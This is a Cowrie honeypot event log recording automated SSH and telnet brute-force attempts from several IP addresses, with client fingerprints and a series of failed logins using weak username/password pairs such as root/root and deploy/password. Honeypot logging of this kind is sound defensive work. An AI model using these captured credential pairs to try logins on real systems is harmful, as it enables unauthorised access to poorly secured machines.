{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:28.723593Z","src_ip":"45.156.87.147","session":"d54d1661d4ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:28.805127Z","src_ip":"45.156.87.147","session":"d54d1661d4ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:29.061319Z","src_ip":"45.156.87.147","session":"d54d1661d4ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spencer1","message":"login attempt [root/spencer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:29.067600Z","src_ip":"103.176.20.57","session":"03d3fff1bfb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:30.146947Z","src_ip":"45.156.87.147","session":"d54d1661d4ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:30.321632Z","src_ip":"103.176.20.57","session":"03d3fff1bfb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.375712633132935,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:30.775245Z","src_ip":"128.199.8.54","session":"11bf7f67b3ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60424,"dst_ip":"10.17.0.5","dst_port":22,"session":"8705f3e80325","protocol":"ssh","message":"New connection: 91.92.42.227:60424 (10.17.0.5:22) [session: 8705f3e80325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:32.809158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:33.216632Z","src_ip":"91.92.42.227","session":"8705f3e80325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:33.220726Z","src_ip":"91.92.42.227","session":"8705f3e80325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manoj","password":"manoj123","message":"login attempt [manoj/manoj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:34.689527Z","src_ip":"91.92.42.227","session":"8705f3e80325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34232,"dst_ip":"10.17.0.5","dst_port":22,"session":"36298236bee6","protocol":"ssh","message":"New connection: 45.156.87.147:34232 (10.17.0.5:22) [session: 36298236bee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:34.940707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:34.945004Z","src_ip":"45.156.87.147","session":"36298236bee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:35.026142Z","src_ip":"45.156.87.147","session":"36298236bee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:35.281631Z","src_ip":"45.156.87.147","session":"36298236bee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":37804,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdf0fbdbbd86","protocol":"telnet","message":"New connection: 102.37.220.188:37804 (159.203.135.109:23) [session: cdf0fbdbbd86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:35.616752Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:36.372545Z","src_ip":"45.156.87.147","session":"36298236bee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:36.552510Z","src_ip":"91.92.42.227","session":"8705f3e80325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39252,"dst_ip":"10.17.0.5","dst_port":22,"session":"70c0c476b668","protocol":"ssh","message":"New connection: 91.92.42.227:39252 (10.17.0.5:22) [session: 70c0c476b668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:39.389193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:39.835500Z","src_ip":"91.92.42.227","session":"70c0c476b668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:39.838212Z","src_ip":"91.92.42.227","session":"70c0c476b668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34692,"dst_ip":"10.17.0.5","dst_port":22,"session":"176144e45c4d","protocol":"ssh","message":"New connection: 45.156.87.147:34692 (10.17.0.5:22) [session: 176144e45c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:41.084237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:41.091777Z","src_ip":"45.156.87.147","session":"176144e45c4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:41.178077Z","src_ip":"45.156.87.147","session":"176144e45c4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:41.428573Z","src_ip":"45.156.87.147","session":"176144e45c4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:42.512700Z","src_ip":"45.156.87.147","session":"176144e45c4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:42.558948Z","src_ip":"91.92.42.227","session":"70c0c476b668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:43.788583Z","src_ip":"91.92.42.227","session":"70c0c476b668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34702,"dst_ip":"10.17.0.5","dst_port":22,"session":"99b6017236a2","protocol":"ssh","message":"New connection: 45.156.87.147:34702 (10.17.0.5:22) [session: 99b6017236a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:46.961755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:46.965658Z","src_ip":"45.156.87.147","session":"99b6017236a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:47.046790Z","src_ip":"45.156.87.147","session":"99b6017236a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123","message":"login attempt [myuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:47.296414Z","src_ip":"45.156.87.147","session":"99b6017236a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39362,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbf540d267c4","protocol":"ssh","message":"New connection: 91.92.42.227:39362 (10.17.0.5:22) [session: cbf540d267c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:47.533293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:47.588336Z","src_ip":"91.92.42.227","session":"cbf540d267c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:47.669148Z","src_ip":"91.92.42.227","session":"cbf540d267c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:48.265893Z","src_ip":"91.92.42.227","session":"cbf540d267c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:48.381594Z","src_ip":"45.156.87.147","session":"99b6017236a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:49.502458Z","src_ip":"91.92.42.227","session":"cbf540d267c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55834,"dst_ip":"10.17.0.5","dst_port":22,"session":"45ce82af5565","protocol":"ssh","message":"New connection: 45.156.87.147:55834 (10.17.0.5:22) [session: 45ce82af5565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:52.858788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:52.862654Z","src_ip":"45.156.87.147","session":"45ce82af5565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:53.061194Z","src_ip":"45.156.87.147","session":"45ce82af5565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456789","message":"login attempt [ftpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:53.321879Z","src_ip":"45.156.87.147","session":"45ce82af5565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:54.407106Z","src_ip":"45.156.87.147","session":"45ce82af5565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39424,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7c025db091b","protocol":"ssh","message":"New connection: 91.92.42.227:39424 (10.17.0.5:22) [session: b7c025db091b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:54.561054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:56:54.565591Z","src_ip":"91.92.42.227","session":"b7c025db091b","protocol":"ssh"}
